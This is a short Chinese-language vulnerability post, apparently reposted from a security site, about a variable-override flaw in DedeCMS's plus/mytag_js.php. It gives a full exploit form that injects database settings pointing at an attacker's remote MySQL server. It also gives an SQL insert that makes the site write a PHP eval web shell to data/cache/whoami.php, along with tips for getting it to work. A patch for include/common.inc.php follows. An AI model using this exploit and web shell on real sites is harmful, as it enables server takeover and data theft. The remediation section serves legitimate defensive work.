制作文件
1.<form action="http://www.XXX.hk/plus/mytag_js.php?aid=2" method=post>
2.<input type=text name="_COOKIE[GLOBALS][cfg_dbhost]" value="数据库ip">
3.<input type=text name="_COOKIE[GLOBALS][cfg_dbuser]" value="数据库用户名">
4.<input type=text name="_COOKIE[GLOBALS][cfg_dbpwd]" value="数据库密码">
5.<input type=text name="_COOKIE[GLOBALS][cfg_dbname]" value="数据库名字">
6.<input type=text name="_COOKIE[GLOBALS][cfg_dbprefix]" value="表前缀_">
7.<input type=text name="nocache" value="1">
8.<input type="submit" name='fuck' value='fuck'>
9.</form>
然后在自己远程支持外链的mysql库中的表前缀_mytag 中插入insert into dede_mytag(aid,normbody) values(2,'{dede:php}$fp = @fopen(DEDEROOT."data/cache/whoami.php", ''a'');@fwrite($fp, ''<?php eval($_POST[whoami]) ?>'');echo "y";@fclose($fp);{/dede:php}{/dede:php}');然后用exp提交后会在data/cache/whoami.php 生成一句话 一句话密码whoami需要注意的地方就是当时挖出来的时候 测试了N久。。 最后才发现原来是浏览器的问题,用firefox打开exp提交就行了。
修复方法:这个漏洞主要的成因是dedecms没有判断外部提交的变量。暂时的修复方法找到include/common.inc.php文件,把
foreach($_REQUEST as $_k=>$_v)
{
var_dump($_k);
if( strlen($_k)>0 && preg_match(‘#^(cfg_|GLOBALS)#’,$_k) )
{
exit(‘Request var not allow!’);
}
}
换成
//检查和注册外部提交的变量
function CheckRequest(&$val) {
if (is_array($val)) {
foreach ($val as $_k=>$_v) {
CheckRequest($_k);
CheckRequest($val[$_k]);
}
} else
{
if( strlen($val)>0 && preg_match(‘#^(cfg_|GLOBALS)#’,$val) )
{
exit(‘Request var not allow!’);
}
}
}
CheckRequest($_REQUEST);
此文章由 http://www.ositren.com 收集整理 ,地址为:
http://www.ositren.com/htmls/68405.html